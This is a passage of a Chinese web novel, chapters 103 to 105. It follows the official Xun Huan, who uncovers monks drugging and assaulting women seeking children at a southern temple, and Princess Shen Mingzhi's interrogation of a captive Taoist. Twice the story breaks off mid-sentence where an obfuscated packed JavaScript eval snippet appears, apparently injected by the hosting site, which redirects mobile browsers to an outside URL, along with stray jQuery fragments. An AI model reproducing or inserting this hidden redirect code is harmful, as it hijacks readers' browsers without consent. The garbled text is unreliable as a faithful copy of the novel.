第一百零三章 软骨头 他望着雨中郇寰越来越模糊的背影,不由得将心中气叹了出来。 他和他家的公主真是坎坷,坎坷到他这种每天要和辛母虎吵一百零八次的人都要叹服。 沈明枳回来的时候,瘸了腿。郇寰当然不会以为她是为了掩盖自己约见医生而刻意摔了腿,甚至说摔了腿是见医生的主因,其余的都是附带。但只要一想起沈明枳会为了子嗣发愁,郇寰就觉得扎在心里的那根刺又在作祟。 他当然没有坦白今日所见。他携风带雨地回来时沈明枳已然安睡,他失了一吐而快的机会便再而衰、三而竭,彻底问不出口。 一大早天天刚刚亮,荣妃病逝的消息就随着一扇扇大开的宫门传了出来。沈明枳伤了腿,于是所有应酬吊唁的重担全都落在了他肩上,他带着七郎、八娘多方奔波,吃完这家的酒又要去赴那家的宴,等他一壁忙完刑部的诸多事宜、一壁处理完各种人情往来彻底闲下来后,已经冬深雪落。 这时候倒已经没人再提联姻之事,郇寰也逐渐觉出来其中滋味。 他本就在孝中,业已娶妻,何家唱这么一出想必早就知道前路艰辛,但还是一意孤行,全然就是醉翁之意不在酒,是为了弄臭他们的名声、甚至离心离德。这倒也验证了那句“不识庐山真面目,只缘身在此山中”,但即便一开始他就了解背后用意,这件事又岂会因为他而半途而废。 但其实他可以做些什么,总不至于让人心寒。可总像是有无数巧合,能面对面细说的机会屈指可数,他们总会因为这样那样的原因错过,直至后来,他感觉沈明枳在避开他。等她的腿大好过后,申二夫人在庄子上生了大病,她竟然直接搬了过去,留下他料理阖府上下,还要为她遮掩。 郇寰靠在车厢壁上叹息。 他一年忙到头才能休息这么不到十天,大半还在走亲访友中浪费,唯一空闲的日子里,沈明枳竟然和辛莘住到了一起,留他独守空房。他方才送七郎、八娘到柳府继续过年,落魄了的河东柳氏也很乐意照顾他们,现在他要去萧府走上一遭,然后再去申国公府等等。他唯一能想到的能安全度过这整个冷清的年的办法就是,出公差。 这个案子本来是落在严中立头上的,预计是年前就要结案交到严中立手中审核盖棺定论,但不知出了什么差错,湖广道迟迟不能结案,且前几日听说事情有愈演愈烈的趋势。更不凑巧的是这几日严中立得了个外孙,欢欢喜喜地在后院冰天雪地里滑了一跤,而陶识礼的幼弟打算新春二月娶媳妇,将二老都从老家接来颐养天年,陶侍郎这时还在衣不解带地侍奉双亲。 这担子不由他这个孤家寡人来扛还有谁来扛? 郇寰这辈子的气都要叹完了。 不过也好,这也免去了开春一连串的人情琐事。 但申不极设酒饯别这一趟,他非去不可。 “海山,我真的是太对不住你了。”喝上头了的申不极正扯着他的袖子,第一百零八次地抒发他的惭愧自责,一把鼻涕一把汗地眼看就要抹在郇寰的袖子上,被郇寰眼疾手快地掀起他自己的衣摆糊了上去。 申不极晕晕乎乎地根本没分清这溅着泥点子的布料是谁衣服上的,痛快地擤完鼻子后,眼泪又要决堤似的涌出来:“我实在是没想到,公主不想见你……你说,你说你们两个,多久都没见面了,你这一去,又要好几个月……我实在是,实在是千古罪人!” 郇寰本想着出发前再去见见沈明枳的,结果给拒之门外很下不来台,搞得申家庄子上的人都知道襄阳侯和兖国公主夫妻不睦。 郇寰不着痕迹地坐得离他更远了些,仔细地检查过自己被他拽过的衣料上有没有沾上脏东西,随后挽起袖子,在桌上林立的酒壶扫视一圈,终于找到了一壶还未开封的武陵春,拔开塞子就喝了起来,那边申不极还在哭天抢地:“啊呀,苍天啊,大地啊,连人家哑巴太医都回家团圆了,回春圣手都回老家了,我这可怜的二郎啊……” 郇寰拭去唇边的酒渍,蹙起眉毛:“什么叫哑巴太医?不会说话就不要说话。” 申不极一副被训过后可怜巴巴的小媳妇模样,撅起嘴俨然郇寰就是举世头一号恶毒恐怖的阎王,而他则是无辜被扯入地府翻开命簿发现抓错人的平民百姓,现在正要无声控诉这阎罗殿上的无法无天,结果叫天天不应、叫地地不灵,大罗金仙都顾不上他了。 郇寰满头官司地别过脸不去看他,枯坐了一会儿觉得心口闷闷的,最后决定在烂醉的申不极的哭爹喊娘之中甩手走人,等申不极第二日在申景忧心忡忡的照看下猛然惊醒,郇寰已经在扶风郡外不知多少里的官驿中歇息了。 郇寰出远门,沈明枳也出远门。 月珰很担心沈明枳的身子,腿伤刚好又在途中伤寒,她几次提出歇息的建议都被沈明枳一个冷冽的眼神驳回。她知道这件事在沈明枳心中远重要于自己的安危,但若自己的身子又垮了,纵然是天大的事情也没法亲自应对。但月珰没有再劝,她太了解沈明枳了。 越往南走,雪越少越薄,但空气中的那股子令人厌烦的湿冷却越来越粘重,等到了地方,马车在荒山之中一处败落得不成样子的废宅前停住,她的心情已经低霾到极点。 暗卫早已铺好了路,将直通地库的小道照得亮如白昼,但这里逼仄、阴寒,一呼一吸都能感受到刀刃破肤的刺痛,等路逐渐在脚下消失,一股子令人作呕的血腥恶臭随着一道铁门的推开扑面而来,充斥整个鼻腔的气味几乎要让人窒息。这里还是暗卫提前处理清洁过的,但这股子几乎要浸入墙壁、地面、桌椅的恶臭无处不在,让每个试图该换天地的初生牛犊都甘拜下风。 等沈明枳摘下裹了一圈的黑色幂篱,在崭新的一把藤椅上端坐下后,她们都闻到了淡淡的药味隐匿其中,让整个人几乎要抽搐的呼吸都平缓了几分。 孙先生没有摘下蒙脸的面巾,只是放下了手中提着的大木箱,四下打量起这间密室囚牢。 “你先去收拾吧。”沈明枳低声对月珰道,等闲杂人等都退出之后,铁门紧闭,暗卫这才拉下遮蔽天窗的灰布,让惨白的日光顺着石头缝隙漏下来,流淌到墙前挂在木桩上的一副干枯□□之上。 这个人,与柳曦既那张画像上的人半分不错,只是比画像上的模样更苍老颓败了几分。 “听说你想见我,巽山道人。” 巽山道人睁开眼睛,吐出一口浊气:“你是那位兖国主吧。” “您是有什么话是非要见了我才能说的?” 巽山道人默默地扯出了一个可止婴孩夜啼的笑,但其实他年轻时的相貌应该是极其风流的,只是经过了多年的风霜摧残和这些天的折腾逼问,俊秀一如郇海山也熬不住这样的折磨。但其实他比刚刚被抓的时候更加丰腴健硕,也不枉暗卫喂了他这么多天的滋补药材和调理食材。 若非他的身体状况堪忧,生怕严刑逼供时一个不留神就折了命,古往今来谁坐牢能坐得这般滋润。 “国主想知道什么?老夫没有什么不能说的。” 沈明枳嘿然不语。 巽山道人对自己的处境一清二楚。他怀揣着一角能验明暗卫身份的碎布出逃,又千方百计向那些供养他的西南氏族求救,结果半路上追兵没甩掉还遇上了要取他性命的杀手,一时间他都分不清他的救兵是谁、要他性命的又是谁。走投无路只能找上杭州的从一,结果这么多年过去了,从一对他的恨有增无减,如一桶醋越酿越浓,他不仅失了那方碎布还差点丢了性命,随身携带的那些要紧东西也全都被从一搜罗走,这下他真是赤条条来去无牵挂。 他一个人又躲了很久,再次遇上了不知何方势力派出的杀手,设了一个局假死脱身,结果没逃几日又撞见了四处搜捕他的兵马。他已经心灰意冷:那些曾经香火供奉神女庙的贵人们大多有把柄落在他手中,他竟然还 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沈明枳眸色一敛,偏过头望向直立一旁的孙先生,孙先生立即会意从箱子中小心捧出一只八角的紫檀木盒递到巽山道人眼前,“你仔细看看认不认得这个东西。”话落,孙先生将盖子打开,让那沉睡已久的一串佛珠重见天日。 巽山道人浑浊的眼睛随着凝视的时间拉长逐渐睁大,孙先生也在闻到那串佛珠散发出来的微弱清香后心下一颤,待他再一凝神细看,那三颗相隔着的佛珠上雕刻的莲花似是活了一般,妖冶地盛开眼前。 巽山道人猛然抬头望向端坐一边神色肃穆的沈明枳,沈明枳立刻出声让孙先生将东西收起来。 “国主怎么会有……” “您认得吗?” 巽山道人一咬牙:“认得,此物正是我神女庙所出,上等龙血脑所制。” 沈明枳稳住心神:“接着说。” 巽山道人知道沈明枳是在问这东西是谁订的,但当他梳理完思绪即将开口时又觉得荒谬。他以为这位兖国主是要询问他怎样的剧毒、怎样的命案,谁料竟然是为了这样几颗破烂珠子,早知如此,他何用吃这么多苦头、走到如今这样山穷水尽的地步,“这东西稀奇凶险,若老夫没有记错,这应该是十万大山中的百越族长余家在很多年前向神女庙求的。” “这莲花纹是何用意?” “夫妻并蒂。” 沈明枳闭上眼,“您还记得什么吗?” 巽山道人仔细回忆:“一定是十八颗,十八颗方为一串,寓意吉祥平安!” 沈明枳睁眼。但这手串上只有三颗,那么还有十五颗下落不明。 “还有什么吗?” “还有这龙血脑,多思者多梦,遇下则助下,遇上则助上,又与梅花蕊相冲,易犯喘症气疾……”巽山道人越说越觉出了不对,忙加上一句:“这些老夫一定是叮嘱过的。” 沈明枳吐出一口气,向暗卫摆摆手,自己则扶着椅子缓缓站起,费力地一步步走了出去,留下巽山道人惊恐万状。孙先生早得了指示,此时从木箱中抽出一叠纸,身边的暗卫又将那箱盖卸了下来当作桌面,挪来地库中原本的石桌盖在上面,摆上一盏油灯,并将箱中备好的笔墨取出来慢慢研磨出墨。 孙先生不能说话,但他提起笔坐在桌前俨然问讯的酷吏,巽山道人立即识相地将记得清楚或模糊的事情一股脑倒了出来,口干舌燥还有暗卫伺候茶汤,除了让他舒舒服服地坐下来、躺下来,这待遇已经上天了。 等沈明枳一觉初醒,接过月珰递过来巽山道人的口供,满满的三大张纸,据说还有几张巽山道人还在苦思冥想还交不过来。 沈明枳哑然失笑。 早知道他的骨头这么软,白费了她这么多药材食材将他养得白白胖胖,还专门向凌云重请教诏狱里面刑讯逼供的法子。而巽山道人,是永远也不会交代完的。 突然,沈明枳指节一白。月珰觉得这样松快的氛围被这突如其来的紧张一扫而空,情不自禁往那纸上扫了一眼,随后她也愣住了。 104. 第一百零四章 法道寺 郇寰觉得晦气。自己赶了这么多天路,前脚刚到零州府衙门打算大干一场,后脚化隆书信就到了,展开一看竟然是寇一爵亲笔,坦白了湖广道零州府的这桩案子与赵王派的哪家哪家颇有渊源,还望他高抬贵手云云,也难怪本就温吞的严中立办了这么久案子差点被案子办了,赵王对他大过年出公差又绝无阻拦。 但他心里有气,就算是刻意折腾折腾这些家人这口气也出不顺,赶巧湖广道下辖与江西道交界的萍洲县有座法道寺,上元灯节要办大法会馈泽香客,零州知府便以公家延请的名头将郇寰请过去,好吃好喝好招待,冀求平息这位朝廷大员的无名业火。 放到以往,郇寰会去,但而今他最见不到的就是这些欢乐场面,以身体不适的由头推拒,打算在书斋整理案卷,但见手下人一个个如坐针毡,想来心里都念着那热闹地、惦记着团圆景,惹得他都心烦意乱。 终于暮色降至,郇寰抛了书卷,和府衙打过招呼后,命冬至驾车,带了人就往那法道寺去了。 许是也被这攘来熙往感染,郇寰暂且抛下了那些心思负担,被冬至他们簇拥着随波逐流,见过了风土人情,也听过了四方乡音,最后登了佛楼,往富丽堂皇的大雄宝殿去了。 他初入此殿着实一惊,流光溢彩这么一照,三分金七分铜的塑像都能荡出十成的光华,更何况听香客说,这些大大小小成百上千的佛像都是纯金铸造,连供奉花果的瓶碗都是金的,全是化隆城内城外那些寺院比不上的奢靡富贵。 郇寰挑眉,随着香客再入这佛院随意转了几圈,粗略估计这座法道寺的占地比化隆最大的双塔寺还要大上一圈,且间间雕梁、幢幢画栋,绝对是天子脚下不可能有的世外气派。 这就很有意思了。 但等他逛了一圈绕回到了观音殿,见这灯火通明的殿门口络绎不绝的女客,使了几个钱随意探问了殿门旁发放香烟的僧客,他方才的疑惑迎刃而解。 原来这法道寺流水的白银都是从那些求子的夫妇手中飞来的。那和尚一身的禅气在他眉飞色舞的叙述间都变成了铜臭味,末了还不忘奉承郇寰几句让他也心甘情愿地掏钱。 郇寰自然不会吝惜这几个铜子,只是觉得这和尚吹的牛很对不起这个价。 天底下哪有这样灵验的观音?说送子就送子。 但他环顾四周,每个前来烧香求告的老、中、小女人的脸上全都是坚定,陪同家中妻子前来的丈夫们的脸上也全都是诚心,当然最显心意、最考验信念的还是供奉上来的银钱,真是让他这个长在化隆这样的富贵堆中的富贵人都大吃一惊。 郇寰打算也上前拜一拜意思意思,但真当他在香案前就着蒲团拜了下来,脑海中的烦杂一瞬间都被化作了“赐我子嗣”四个大字。他从容地起身,一刹那就理解了所有的趋之若鹜、所有的奉若神明、所有的疯狂、挣扎与绝望,殿中一切的一切都成了理所当然、连带着所有的质疑困惑都烟消云散。 惟愿神明,赐我子嗣。 如若世间真有神佛,这八个字应当是这座法道寺中所有神佛听得耳朵都要起茧的祷告。 但这世间真有神佛么? 郇寰冷眼看着门边的两名僧人。他刻意慢慢吞吞,就是为了看清这不可为人知的勾当,也好在他锦衣华服,是个出手阔绰的主,殿中僧人对他只有奉承而少警惕。 但凡供奉到一定银两的夫妇,都会被引到门边请三支线香,花不出这个数的可怜人只能拿到一支线香,出了观音殿后都会去送子炉那里上香。但他不信光凭这香上的数目之差就能送来子嗣,他欲再花钱问上一问,他们都一脸高深莫测地含糊“不可说不可说”。 郇寰快步离了观音殿,到人群中把还在乐的冬至抓了过来,让他即刻安排人手来彻查此事。冬至晓得事情的轻重缓急,也知道自家主子是打算借此出气,麻溜地要去召集人马四处打听,保证做得隐蔽小心,但临走还是被郇寰揪住再次嘱咐了一通“切莫惊动官府”。 法道寺每年能孝敬萍洲县、零州府不少白花花的银两,如若其中有什么奸邪勾当,要么当地官府不知要么当地官府包庇,毕竟谁会和实实在在的好处过不去。强龙难压地头蛇,即便他是朝中正二品的官,带来的人手有限,下到地方上办案还得倚靠知府、知县这样四品、七品的官儿,如若他们有心为难,他这个尚书大人也未必能顺顺当当。 最好是能将察院也拉上船,察院的御史一般与地方勾连不深,但就是不知道当地巡按的御史们脚下趟的是哪趟浑水。 郇寰思忖着其中关节,一个人独步在人来人往,忽而眼前飘过一片衣角,其中的温柔气息扑面而来,但这气息极淡极轻,是一阵风就能吹散的花魂,可他就是不可遏制地想起远在化隆的人来,连他急切追寻的刹那之间,那个人的背影都逐渐与记忆之中吻合起来。 怎么可能。 郇寰顾不得质疑,几步凭着感觉追了上去,但他再一定眼却不见那人踪迹,来来回回如同是与他特意玩着捉迷藏的游戏。等他真的放弃了,疲惫了,扶着石砌的高台缓缓转入了灯火照亮不到的黑暗,那个人却又出现在了眼前,背对着他,张望着不远处观音殿里的金碧辉煌。 那一声“鹇儿”就哽在喉头,在那个不知不觉中不由自主牵动他心弦的人若无其事地看倦了那殿宇景色,转过身即将与他错身擦过时,她鬼使神差地抬头看了一眼黑暗,随后右手手臂就被人一把抓住。 在她那双倒影着五光十色的眼里,郇寰看不出错愕,又或者她已经到了炉火纯青的地步,错愕之类失态的情绪都能不着痕迹。 月珰走了几步发现身边人不是沈明枳,大惊失色后折返去寻,在那称得上高耸的石台下找到了阔别多日的驸马郇寰,还有正被他抓住不放的沈明枳。沈明枳没有发话,于是她便知情识趣地退了过去,远远地注意着两人的动向。 最后还是郇寰绷不住打破这可怕的沉寂:“你怎么在这?” 沈明枳伸左手轻轻将郇寰的手扒开,“路过。” 但郇寰即刻反手又攥住她冰凉的手,“为什么会在萍州县?” 沈明枳警惕地环顾四周,知道不给郇寰一个合理的解释他是绝对不会撒手,于是便垂下那只被他握住的手,让两人的衣袖将其中纠葛遮掩,“路过。” 她的确是路过,从岭海县北上途径萍洲,听说此地法道寺香火极盛,念及旧人信佛思禅便想着前来聊慰她黄泉独影,告慰其灵。 沈明枳避开郇寰的目光,“这件事我还不能说,你也未必想听,宽宥我几日。” 郇寰尝到了多日栽下的苦果,回味之时出乎意料品到了不应存在的甜。这是好事,她还是愿意向自己坦白,好过以前一心要与自己泾渭分明。但再想,若非自己发现,她瞒天过海之后当真愿意向自己说么? “好。” 郇寰逼着自己不去想这是什么事情,虽然他心底已经有了轮廓。 “拜过了吗?”沈明枳望向远方的灯火辉煌问道。 有来由的窃喜暂时压倒没来由的忧虑,郇寰牵她的手走出黑影:“一起。” 偌大的法道寺只剩下观音殿没有去。沈明枳觉得没有必要,她此行又不是为了自己,去也不是为自己求的,且去年才发生过那样的事,他们之间现在不适合涉及到子嗣二字。但郇寰兴致高涨,并不了解她的这些心思也不去理会她那些心思,又自然地牵起她的手,拾级而上。她并未拒绝,因着那一闪而过又被自己牢牢拽住的念头,但行至半途,冬至很不合时宜地蹿了出来。 冬至很能控制自己的好奇,将他们二人引到角落低声交代了结果。沈明枳自然也听不懂他们小声嘀咕了什么,但“不情不愿”四个字是明明显显展露在脸上的。 郇寰略略思忖瞬息,又凝神注视她片刻,方才笑着打发去冬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159185|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至,复又牵着沈明枳逐级而下,“既然你不愿那就算了。” 我也舍不得拿你冒险。 沈明枳试探着打破突如其来的静默:“你办的案子与这寺院有关?” 郇寰不避讳:“无关,只是这寺院恐怕另有一案。” “方便与我说么?” 郇寰微微笑:“你什么时候走?” 时至子夜,香客已经陆续离开,这沸腾了半宿的法道寺终于逐渐归于平静。 “不着急。” 郇寰掩在袖中的另一只手轻轻捏了捏,心道她本来是着急的,但现下东窗事发已然败露,也就不必着急着回去,还可以有闲心听听自己的案子有没有趣。这不禁让他想起了当年,正值正月的人日,她误了回宫的时辰,着急忙慌赶了一路临到宫门口便信马由缰起来,拉上自己这个劳碌鬼满化隆大街小巷地闲逛起来,听自己讲了一路办过的奇案诡案津津有味。 倒是成婚以后,他便再没有想过讲这些案子去讨她欢心。 他心中一动,甩下心里那些考量,带她拐进阒静的甬道,小心走了几步便在甬道尽头看见了埋伏等待着的冬至一行人,地上不乏横七竖八躺着的被扒了衣裳的昏迷着的和尚。 冬至并不多话,见沈明枳也跟了过来不禁微微一愣,但他并未迟疑,领着郇寰他们就隐藏入幽幽檐下灰影,悄无声息地向后院恢弘的偏殿进发。 此刻午夜的梆子声刚刚响起,两座相连的偏殿的门正被一群法师用符纸封起,口中念念有词状似作法,那漆黑偏殿中的一盏灯也在随后一名和尚的高声吆喝后熄灭。待那些人散去,这两栋偏殿只如身处九幽炼狱般陷入沉寂。 沈明枳也在郇寰的怀中陷入沉寂。直等到偏殿处动静全无,沈明枳这才发觉自己已经被郇寰环住,四面八方的温暖逐渐驱散寒意,呼吸可闻,气息缠绕。冬至带来的一行人自然是四散开来不见踪影,只有冬至一人守在他们身边,眼睛死死盯着前方,又在默默数着什么,全然装作看不见他们的模样。 “法道寺的观音不仅会送子还会送财——”郇寰的目视前方,嘴唇贴在她耳畔轻声道:“如果运气好,我们还能看见法道寺的观音送人间极乐。” 沈明枳默然垂眼。郇寰说的不算隐晦,加上先前冬至的那一番汇报,她已然能将事情猜得七七八八:法道寺的财力他们有目共睹,求子灵验程度也是叹为观止,前来重金求子的夫妇回去没有不生儿育女心愿圆满的。 但就如同样以送子求亲闻名西南的神女庙中的巽山道人所说,他是个用鬼神糊弄人的,却糊弄不了自己。鬼神之事玄之又玄,况世之鬼神之有无尚未可知,凡事都只能讲究“事在人为”。 法道寺的和尚也必然深谙此理,于是就想出了这样一个妙计,让求子的一对夫妻中的妻子半夜入住此偏殿一晚,名曰施以神术,旁人万万不能惊扰否则惹得天怒终生无子,等天亮之后才可开启殿门。前来求子的世人大多敬畏有加,回去后果然喜得贵子,有怀疑的咽怀疑、无怀疑的奉金银,无人再去追究这一晚殿中究竟发生过什么。 那这一晚殿中到底发生了什么? 不难揣测,大概就是‘借精生子’类似的秽乱之事。至于是借谁的,不用多说。这也就解释了为何多年来此事从未败露,法道寺自然会尽力隐瞒,被诱骗的女子为了自己的性命名声也绝不会吐露半个字,天知地知你知我知。 沈明枳蹙眉。 那郇寰又是如何了解的内情?他这样贸然行动可否考虑过事后收尾?还有此案一旦披露,那些曾倚此得子的女子又会有什么样的下场? 这一守就是足够久,直到形如石雕的冬至活动了下僵硬的手脚,随后飞也似地蹿了出去。远处实如鬼影立于混沌天地的偏殿被人一脚踹开了大门,即刻就有嘶叫、尖叫、哭叫从那黑洞洞的殿中传来,将整座法道寺尚未入睡、已经入眠的人全都惊动。 105. 第一百零五章 走夜巷 饶是沈明枳有过准备,还是对被拖出来的一串或裸着身、或衣衫不整、或刚要穿衣刚要脱衣的光头和尚暗暗吃惊,而且灯光大亮之下,那些僧面佛像的男人全都原形毕露,场面混乱污浊直让人反胃。 郇寰也注意到了不妥,心里大骂着抬手覆住了沈明枳的眼睛将她调了个方向面向自己,就这偏殿前高举的火把的微光粗略看着她的眉眼,“我们走吧。” 沈明枳与他错开身,离开他怀抱的刹那即刻感受到冷风的恶意。她紧了紧衣领,跟上郇寰刻意放慢的脚步,微一张口就被灌满了寒意,强压住喉咙中的搔痒,生怕自己的咳嗽声会惊动不远处的僧人。但偏殿前已经翻了天,就算是她再大喊大叫,也未必就能在这样的嘈杂之中脱颖而出。 等他们一路畅通无阻地行至混乱的山门,早早被冬至提醒过等候此处的月珰迎了上来,在人来人往中护着沈明枳上了马车。 郇寰只是抢上前扶她一把,然后就负手默默站在了车窗下,心中莫名希望她会掀起帘子与自己说上句话,又不希望她这样做人多口杂暴露身份。兖国公主此时应该在化隆城外申家的庄子上与申二夫人昼夜相伴,郇海山此时应该在法道寺山门口即将返程却被突如其来的案子绊住,况且被有心人看见牵扯上了男女绯闻,这绝对不是件好事。 他不能走,但她就要走了。 “你保重。” “你也是。” 马车拔程,来路上已经有了官兵的影子。 郇寰眯眼,见亲率而来的人就是早先邀请他来法会的零州知府熊家鼐,环顾其左右,却不见与之偕行的通判傅世恩、同知孙培荫,然则一应府兵俱全,似是埋伏已久。 至此,郇寰确定,他被人算计了。 “熊知府,怎么不见孙同知与傅通判?”郇寰与熊家鼐施礼。 熊家鼐是早就摸过郇寰底细的,连忙笑着弓身矮上半截,将礼施得更加夸张。他个子不高,生得瘦弱,其貌不扬,这样一来,在本就身量高大的郇寰面前更显得像个侏儒,“郇侯安,孙大人与傅大人不胜酒力,坐轿回家去了。” 郇寰闻见他身上一股刺鼻的酒臭,但不见醉意,心里猜上了几分。他边随着熊家鼐往法道寺走去,边笑问道:“原来如此,那大半夜的,带着这么多衙差,熊知府怎么还未回衙门?” 熊家鼐撂下被衙差“押解”过来的住持,脸上的讨好减了三分,将客气添上三分,睁大的眼里没有酒后的醉意,全然是洞若观火的清明:“下官听闻郇侯也来了法道寺,又不曾听属下禀报您返回的消息,便想等上一等,看看下官有没有这个福气能与您同路。” 郇寰面上笑了两声,心里却恶寒了起来。 这个熊家鼐倒也不装了。 现在郇寰就能确定,这位熊知府借着法道寺灯会摆席,刻意灌醉了孙培荫和傅世恩,为的就是“等上一等”,好与自己“同路”。至于他费劲避开孙、傅二人,想同路与自己做些什么事—— 熊家鼐听起属下的禀告。 冬至早甩手,将带来的亲卫收了回来,守在郇寰身边,紧紧盯着熊家鼐命人接手,押解下了这些酒肉和尚。 熊家鼐朝郇寰拱手道:“郇侯,您是刑部的尚书,专掌天下刑——” 他正说着,被郇寰抬手止住,郇寰死死注意着他的神情变化,一字一句说着:“本官此次南下,是为专案而来,别的案子,还是要走规矩的。” 熊家鼐愣了愣,随即笑了起来:“下官明白,下官明白,多谢郇侯提醒。” 郇寰摆手,“来零州多日,有劳熊知府费心招待,若有什么能帮得上的,尽管开口。” 熊家鼐看着郇寰脸上的笑,是与华灯火色一样的璀璨,只可惜,其中意味永不如烈火色那般纯粹。但又庆幸,好歹是亮的,是能将污浊灰暗都照彻的光亮。 郇寰收了视线,与之作别。 都是在官场混了多少年的人,熊家鼐怎么可能不知道规矩。上回郇寰处理漉水爆炸案,顶的是行江南道按察使的衔,故而江南道一应大小案件,都要经他的手审核、都要由他掌过眼;而这回来零州,就只是刑部尚书为了一件案子出个差,事情处理完了就要打道回府,管不了地方的闲事。 可熊家鼐,明知故问。 公然偷懒他是不敢的,那大概只有一种可能。 ** “主子,真的都给您说准了。”人未至,声先至,冬至赶在晚饭结束前,从萍州县衙回来了。 郇寰正一个人吃饭出神,见冬至脸上的喜色,悠悠回转心思,搁下筷箸,“是么?” 冬至压低声音笑道:“零州这位傅通判娶了王家的女儿做续弦,孙同知就是此地孙家出身,只有熊知府,那真是完完全全的‘外地人’,‘外人’,两年前来的零州任上,夫人早亡,家里只有妾生的一个儿子。” “他夫人是怎么死的?” 提及熊家鼐的亡妻,冬至不由将脸上的笑收敛干净。 “自缢。” “自缢?” “正是,但打听不出什么原因,旁人只说他夫人心情郁郁,门都不怎么出的。” 郇寰手指叩着桌面,凝神想了会儿,追问道:“什么时候的事?” “去年吧,也是这个时候。”冬至听着郇寰手叩桌面,一下一下的,如同屋内的气氛,一下一下地落了地,连忙将没说完的抖落出来:“哦对了,中午我到县衙时,还没见到知县,正撞见也来此地的熊知府和傅通判在吵架,一见到我,连忙装出和气模样,仿佛他们两个从来没有过口角一样。” 郇寰勾唇轻笑:“他们不吵就怪了。” 昨夜,毫无征兆地,被诸方遮掩了不知多少年的法道寺的丑事就突然败露,官场上的明眼人都知道这是远道而来的郇寰干的好事,而郇寰不找借口、也懒得找借口,大剌剌就把法道寺这座摇钱树、淫乐窝给端了,满城的风雨旋即呼啸而来。 可郇寰搅弄起了风雨,风雨也有天地灵气,也懂得谁是好捏的柿子、谁是崩牙的石头,百姓、乡贤、豪右的怒气冲不了郇寰,那就只能冲零州府的“大官”。 熊家鼐与傅世恩能为此吵架,或可窥得他们立场不同,傅世恩是当地豪族的女婿,自然要维护法道寺背后的势力,而熊家鼐,行径可疑,郇寰暂且不明他的真正目的,但可见他揭露此事的决心。 他不怕死啊。 即便昨夜,他郇寰没有主动戳穿此事,想来这位熊知府也会有别的法子,让法道寺中的修行者的真正嘴脸,在他郇寰的手下原形毕露。他需要自己来当冤大头,来承受豪族的雷霆万钧,可事情最后还会怀疑到他这个“外人”身上。 又或者,他在和当地的豪族博弈,毕竟两年过去了,他很快就要回京述职了,他在赌,豪族会否送他这个马上就要光明远走的官,一个顺水人情。但他一个忍气吞声的四品知府的人情,与法道寺那些数不胜数的真金白银,究竟谁的脸面更大一点? 所以说,他不怕死啊。 “哦,还有,今儿我骑马去的府衙,街上路过一家叫普济堂的药房,招牌都被人砸了,听说这家药房是法道寺名下的产业,那些熏人的迷香,就是他们配的。” 郇寰眸光一凝,“可有实证?” 冬至摇头:“那要我明日去探一探。” 郇寰摆手,“倒也不是要紧的事。” 最要紧的,是很快就会有零州当地的豪族,给他郇寰摆一场酒。 果然,孙家宴请,邀遍了零州上下官员士族,为的就是给他“压压惊”。他没被法道寺的和尚吓到,反倒是被孙家的排场惊到。 说句实话,南下一趟,他在这离化隆千里之外的断发之乡,居然见着了天子脚下白日做梦都梦不了的富贵奢靡。二品大员、爵位加身、光荣尚主,可郇寰见了孙家的这些牌面,都开始怀疑自己在化隆城究竟过的是什么穷酸的日子、住的是什么破烂的房子。而他记忆里,能与孙家这种排场不分轩轾的,大概只有皇宫大内了。 冬至坐入了车厢,照看醉得头脑发昏的郇寰。 郇寰的酒量很好,但今夜他喝得不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15187947|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多,却喝成这幅样子,这不由让人担心孙家的酒里究竟有没有兑什么不干净的东西。 “听见了吗?” “听见什么?”冬至连忙问,就见郇寰靠着厢壁,不住地揉着太阳穴,脸色在乍明乍暗之中显得十分难看。 “熊家鼐的亡妻……” 冬至应声:“听见了,那位王推官被灌醉了才说的实话,熊夫人因为无子,遭了法道寺和尚的毒手,自责惭愧,才想不开寻了短见。” 郇寰的额头抵着厢壁,嗤嗤笑了两声,还润着酒气的双唇翕张,不知想说些什么,却久久没有发声,长睫垂下遮掩住的眼睛里不知含了怎么样的情绪,默默凝视着自己搭在膝上的左手,虚握成拳。 冬至觉得,他的手里该握些什么才不显空落。可任是握住了沈明枳的手,他心里依然是空荡荡如有所失。 良久,郇寰闭上眼,没头没尾地长长吐息道:“一股酒臭。” 就在冬至以为,应酬了一晚上的郇寰累得睡了过去,就听他喑哑的声音响在旷夜永暗:“回去翻一下过往刑案,找找前任零州知府的消息。” “王推官嘴巴不牢靠,说前任周知府牡丹花下死,想来是个风流的……主子,难道您怀疑其中有事?” 郇寰虚弱地应了一声。 正在此时,冬至浑身紧绷,警惕地回视车门之外,听着铎铃胡乱撞了十几声后平息,轻微如同秋夜虫啁的液体喷溅之声迎面而来,随即寒光飞现门缝之间,他一手拔出搁置在一旁的佩刀用力顶了过去,另一手不忘狠狠掐了正逐渐陷入稠梦的郇寰一把。 “主子!有刺客!” 冬至双手发力,将来人顶退了出去,随即拔出绑在臂上的匕首,扔给了骤然惊醒的郇寰。就是这样短暂的功夫,来人退下了车辀,挥刀砍断了马扣,一个肘击之后,那匹马惊嘶一声就蹿出了暗巷,消失在了黑夜之中。 背水一战,绝无退路。 冬至一把拽住了郇寰,脚下一个用力,一并跃出了已经訇然前倒的车厢,随即就见前方三人持刀,身后三人围剿,腹背受敌,车夫已经被他们一刀砍死倒在了脚下。 